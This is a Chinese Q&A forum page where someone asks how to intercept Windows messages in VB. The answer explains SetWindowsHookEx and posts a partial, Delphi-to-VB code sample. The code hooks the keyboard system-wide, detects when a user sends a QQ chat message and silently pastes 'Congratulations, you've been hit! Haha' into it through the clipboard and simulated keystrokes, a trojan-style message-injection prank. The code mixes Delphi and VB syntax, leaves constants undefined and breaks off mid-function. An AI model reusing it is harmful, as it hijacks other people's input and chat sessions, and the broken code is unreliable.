VB拦截message消息

用VB拦截message消息 同时可以将程序挂起的那种 请问那位好心人有实例 给俺看看 

追问：请问有拦截系统消息的吗 就是可以拦截也可以放行消息的那种

答案：在Windows使用SetWindowsHookEx来实现hook（钩子）。钩子分类很多，其中消息钩子可以获取对象所接受大部分Message消息。不管是消息钩子或键盘钩子或其他钩子，安装钩子的SetWindowsHookEx函数需要一个回调函数指针。Windows收到某个消息以后确认并且发送应用程序前通知我们的回调函数。
钩子有两种
1）全局钩子，也就是说我们的程序可以拦截所有外部程序收的的消息。
2）非全局钩子，拦截当前进程所收到的消息。
为了实现全局钩子，回调函数必须在DLL中。好像用VB不能编易做图正的动态链接库。


以下是简单代码：
'Option Explicit
'uses
'  Windows, Messages, SysUtils, TlHelp32;
'Delphi 中一些头引用，相当于C++的 *.h
'键盘HOOK类型
Private Type tagKBDLLHOOKSTRUCT
    vkCode As Long
    scanCode As Long
    flags As Long
    time As Long
    dwExtraInfo As Long
End Type
'定义API函数指针,VB不支持该定义
'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;
Const WH_KEYBOARD_LL = 13
Const WH_MOUSE_LL = 14
'钩子消息及指针
Private lpMsg As TagMsg
Private lpHook As Long
'动态调用DLL函数指针
Private hDll As Long
'VB不支持该定义
'RegPointer:POINTER;
'RegServiceProc:RegSerProc;
'版本
Private OsInfo As OSVERSIONINFO
'QQ窗口的一些句柄
Private buf_hWnd As Long          '前台窗口句柄
Private CheckBuf_hWnd As Long     '判断是否还是前台窗口句柄
Private RichChat_hWnd As Long     'RichEdit20A句柄
Private CheckPaste As Long        '判断是否在进行粘贴
'定时执行程序
Sub TimerWork()
    MessageBox 0, "一个消息", "哈哈", 64
End Sub
'粘贴代码
Sub PasteMsg()
    Dim hMem As Long
    Dim pStr() As Byte
    Dim S As String
    S = vbCrLf + vbCrLf + "恭喜你，你已经中招了！哈哈"
    hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)
    pStr = GlobalLock(hMem)
    lstrcpy pStr(0), S
    GlobalUnLock hMem
    OpenClipboard 0
    EmptyClipboard
    SetClipboardData CF_TEXT, hMem
    CloseClipboard
    GlobalFree hMem
    '发送WM_PASTE对QQ2006 and 2007 已经不起作用
    'PostMessage(lphWnd,WM_PASTE,0,0);
    CheckPaste = True
    keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0
    keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0
    keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0
    keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0
    CheckPaste = False
End Sub
'Enum窗口
Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean
    Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42类名
    Dim RichBuf As String * 255, ParentBuf As String * 255
    Dim ParenthWnd As Long
    
    '获取父窗口，通过AfxWnd42进行窗口查找
    ParenthWnd = GetParent(hWnd)
    GetClassName hWnd, RichBuf, 256
    RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)
    If RichChat_hWnd > 0 Then
        EnumProc = False
        Exit Function
    End If
    If LCase(RichName) = "richedit20a" Then
        '获取父窗口类名
        If ParenthWnd <> 0 Then
            GetClassName ParenthWnd, ParentBuf, 256
            ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)
        End If
        '通过父窗口类名进行比较，判断是否为输入窗口
        If LCase(ParentName) = "afxwnd42" Then
            PasteMsg
            RichChat_hWnd = hWnd
            EnumProc = False
            Exit Function
        End If
  End If
  '继续查找子窗口
  EnumChildWindows hWnd, AddressOf EnumProc, 0
  EnumProc = True
End Function
'Hook代码
Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim qqBuf As String * 255
    Dim frmBuf As String * 255
    Dim frmName As String       '窗口名称
    Dim clsName As String       '获取类名
    Dim p As KBDLLHOOKSTRUCT    '键盘按键指针类型
    
    If nCode = HC_ACTION Then
        If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin
            'p:=PKBDLLHOOKSTRUCT(lParam);
            '此处应该翻译为以下：
            CopyMemory p, ByVal lParam, Len(p)
    
            '判断是否Ctrl+V发送
            If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And &H8000) <> 0) Then
                '获取当前前台窗口
                buf_hWnd = GetForegroundWindow
    
                GetWindowText buf_hWnd, frmBuf, 256
                GetClassName buf_hWnd, qqBuf, 256
                frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '该地方只是一个处理而已
                clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)
    
                '通过判断是否还是当前窗口，如果不是则执行重复操作
                If (CheckBuf_hWnd <> buf_hWnd) Then CheckBuf_hWnd = buf_hWnd
    
                '查找QQ窗口
                If (InStr(clsName, "#32770") > 0) And ((InStr(frmName, "聊天中") > 0) Or (InStr(frmName, " 群") > 0)) Then
                    '重新初始化QQ编辑控件句柄
                    If RichChat_hWnd <> 0 Then RichChat_hWnd = 0
        
&n

上一个：vb的热键问题
下一个：VB postmessage 问题